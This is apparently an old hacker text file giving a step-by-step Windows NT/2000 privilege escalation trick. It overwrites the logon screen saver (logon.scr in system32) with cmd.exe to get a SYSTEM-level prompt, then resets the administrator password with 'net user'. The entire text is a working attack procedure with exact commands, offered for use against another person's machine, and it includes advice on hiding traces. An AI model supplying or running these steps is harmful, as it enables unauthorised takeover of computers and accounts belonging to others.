This is straight for a brain child. It makes so much sense
that no one ever thought to do it.
Enjoy. Also beware to change what you have done. Or any
machine that you did the hack on will show what you did when
the screen saver comes up. The only hard part is finding
your way to C:\prompt or ms-dos. So begin.
If you can log in as an account , drop to DOS start -> run
-> cmd, at the C: prompt type the following (assuming
default install locations)
C:\> cd \winnt\system32
C:\winnt\system32> copy logon.scr logon.scr.old
C:\winnt\system32> del logon.scr
C:\winnt\system32> copy cmd.exe logon.scr
Now log off the machine, logon.scr is the screen saver that
will kick in after 15 minutes of not touching the
keyboard/mouse at the logon screen.
Wait 15-20 minutes and a DOS prompt with FULL SYSTEM rights
will pop up, then just to
C:\> net user administrator <newpassword> and then log in
with the new account.
Try this, might work, as long as he didn't change default
permissions on C:\winnt and C:\winnt\system32 you should be
golden.
